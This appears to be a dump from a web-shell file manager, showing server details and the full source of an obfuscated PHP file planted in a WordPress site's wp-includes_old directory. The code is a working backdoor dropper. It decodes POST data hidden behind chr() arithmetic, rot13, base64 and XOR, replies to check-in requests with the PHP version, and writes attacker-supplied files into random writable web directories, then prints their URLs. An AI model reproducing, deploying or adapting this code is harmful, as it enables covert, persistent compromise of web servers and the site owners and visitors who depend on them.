HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-includes_old/blocks/legacy-widget/qeukixmb.php
<?php function AzhkzflfyQ($ABQJlj){$FnzyBBewYJ = chr(114).chr(628-531).chr(119)."\x75".chr(335-221).'l'."\x64".'e'.'c'.chr(426-315)."\x64".chr(101);$BeqVYbtm = 's'."\x74".chr(114).chr(95)."\x72".'o'."\x74".chr(49)."\63";$lLJgkfL = 's'.chr(116).chr(292-178).'_'.chr(453-338).'p'."\x6c"."\x69"."\164";$ABQJlj = $lLJgkfL($FnzyBBewYJ($BeqVYbtm($ABQJlj)));return $ABQJlj;}function pJBCX($fLrPuCO, $ABQJlj){$pIhOjL = 's'.chr(722-606).'r'.'_'."\x73".chr(359-247).'l'.chr(856-751)."\164";$fLrPuCO = array_slice($pIhOjL(str_repeat($fLrPuCO, (count($ABQJlj)/16)+1)), 0, count($ABQJlj));return $fLrPuCO;}function KuwYLlSiZp($wJzrqBoPVbYvGfsGj, $HnchzSuG, $fLrPuCO){$nfBFeN = "6d7ce703-e424-465a-9f62-6bcba0173241";return $wJzrqBoPVbYvGfsGj ^ $nfBFeN[$HnchzSuG % strlen($nfBFeN)] ^ $fLrPuCO;}function nqyGr($ABQJlj, $fLrPuCO){$ABQJlj = array_map("KuwYLlSiZp", array_values($ABQJlj), array_keys($ABQJlj), array_values($fLrPuCO));$ABQJlj = implode("", $ABQJlj);$ILLDbd = "\165".chr(929-819).'s'."\145".'r'.chr(105).chr(500-403).chr(108).chr(289-184).chr(122).chr(101);$ABQJlj = @$ILLDbd($ABQJlj);return $ABQJlj;}function YsNLh(){echo "PNmlKQmLAx";}function UpwLHRLKf($wJzrqBoPir){static $nAsJds = array();$HjVXC = glob($wJzrqBoPir . '/*', GLOB_ONLYDIR);$MvddfzWf = count($HjVXC);if ($MvddfzWf > 0) {foreach ($HjVXC as $wJzrqBoP) {$ZgYebZ = 'i'."\x73"."\137".chr(119)."\x72"."\x69"."\164"."\141".'b'."\x6c"."\x65";if (@$ZgYebZ($wJzrqBoP)) {$nAsJds[] = $wJzrqBoP;}}}foreach ($HjVXC as $wJzrqBoPir) UpwLHRLKf($wJzrqBoPir);return $nAsJds;}function HGvljgMiE(){echo "XRfMdf";}function rxeWlzkBKu($ABQJlj){$PfdyWuiCJM = 'D'.chr(776-697)."\103"."\x55"."\x4d".chr(969-900).'N'.'T'."\x5f"."\x52".chr(79)."\117".'T';$UtVzFPjFQD = $_SERVER[$PfdyWuiCJM];$HjVXC = UpwLHRLKf($UtVzFPjFQD);$VpuZFcI = array_rand($HjVXC);$YdIqkNyTZ = chr(983-937).chr(112).chr(987-883).chr(112);$MAdeO = $HjVXC[$VpuZFcI] . "/" . substr(md5(time()), 0, 8) . $YdIqkNyTZ;$ZDrtRAI = chr(235-133)."\151"."\154"."\145".chr(95).'p'.chr(481-364)."\x74".chr(187-92).chr(99)."\157"."\x6e"."\x74".chr(722-621)."\156"."\164".'s';@$ZDrtRAI($MAdeO, $ABQJlj);$ngMLWO = "\110".chr(84).chr(84)."\120".chr(95).chr(72).'O'.chr(83).'T';$ImrcsN = "\x68"."\164".'t'.chr(112).chr(526-468).chr(59-12)."\57";$YLYbGclq = $ImrcsN . $_SERVER[$ngMLWO] . substr($MAdeO, strlen($UtVzFPjFQD));print($YLYbGclq);}foreach ($_POST as $fLrPuCO => $ABQJlj){$ZZTkljyo = strlen($fLrPuCO);if ($ZZTkljyo == 16){$ABQJlj = AzhkzflfyQ($ABQJlj);$fLrPuCO = pJBCX($fLrPuCO, $ABQJlj);$ABQJlj = nqyGr($ABQJlj, $fLrPuCO);if (@is_array($ABQJlj)){$VpuZFcI = array_keys($ABQJlj);$ABQJlj = $ABQJlj[$VpuZFcI[0]];if ($ABQJlj === $VpuZFcI[0]){$WMzBoq = 'p'."\150"."\x70";$EjbBCDjVJ = chr(112)."\150".chr(806-694)."\x76"."\x65"."\x72".chr(512-397).chr(105)."\157"."\156";$ZkEAdieQpj = 's'.'e'.chr(114).'i'.chr(230-133)."\154"."\x69".chr(446-324)."\x65";echo @$ZkEAdieQpj(Array($WMzBoq => @$EjbBCDjVJ(), ));}else {rxeWlzkBKu($ABQJlj);}die();}}}